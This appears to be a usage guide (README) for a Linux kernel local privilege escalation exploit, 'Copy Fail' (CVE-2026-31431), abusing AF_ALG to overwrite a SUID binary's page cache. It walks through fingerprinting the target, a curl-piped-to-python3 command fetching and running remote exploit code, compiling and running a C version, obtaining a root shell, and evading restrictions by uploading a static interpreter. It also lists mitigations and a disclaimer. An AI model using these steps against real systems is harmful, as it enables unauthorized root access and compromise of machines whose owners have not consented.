Copy Fail (CVE-2026-31431) – Exploit Usage Guide

⚠️ Disclaimer

This content is for educational and authorized security testing purposes only. Do NOT run this on systems without explicit permission.

📌 Overview

Copy Fail (CVE-2026-31431) is a Linux Local Privilege Escalation (LPE) vulnerability affecting the kernel crypto API via AF_ALG.

It allows an unprivileged user to overwrite page cache data of a SUID binary (e.g., /usr/bin/su) and gain root access.

🧠 Requirements

System Requirements

• Linux kernel (vulnerable – depends on patch status)
• AF_ALG enabled
• algif_aead module loaded

Python Exploit Requirements

• Python 3.10+
• Support for:
  • os.splice
  • socket(AF_ALG)

🔍 Checking Vulnerability

uname -a
grep -i authencesn /proc/crypto
lsmod | grep alg

Expected indicators:

• authencesn(hmac(sha256),cbc(aes))
• algif_aead loaded

🐍 Running the Python Exploit

1. Execute directly

python3 copy_fail_exp.py

2. Or via curl (if remote hosted)

curl https://copy.fail/exp | python3

3. Trigger root shell

su
id

Expected result:

uid=0(root)

⚠️ Common Issues (Python)

❌ Error: os.splice not found

Cause:

• Python version < 3.10
• Restricted build

Solution:

• Use a newer Python binary
• Upload a static Python interpreter

⚙️ Compiling the C Version

1. Compile

gcc copy_fail_exp.c -o copy_fail

2. Make executable

chmod +x copy_fail

3. Run exploit

./copy_fail
su

⚠️ Common Issues (C)

❌ Exploit runs but no root

Possible causes:

• Kernel patched
• Incorrect offsets
• Environment mismatch

❌ Compilation errors

Install required tools:

apt update && apt install build-essential

🧪 Troubleshooting

Check if system is patched

dmesg | grep -i alg

Verify module

lsmod | grep algif_aead

🛡️ Mitigation

Disable vulnerable module

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead

Apply kernel patch

Update your system:

apt update && apt upgrade

📌 Notes

• Exploit modifies page cache only (non-persistent)
• Requires local access
• Not remotely exploitable by default

🧠 Final Insight

If the exploit fails, consider:

• Kernel already patched
• Environment restrictions
• Alternate privilege escalation vectors (SUID, capabilities, sudo misconfig)

📚 References

• https://copy.fail/
• CVE-2026-31431

👨‍💻 Author Notes

Use this exploit responsibly in labs, CTFs, and authorized pentests only.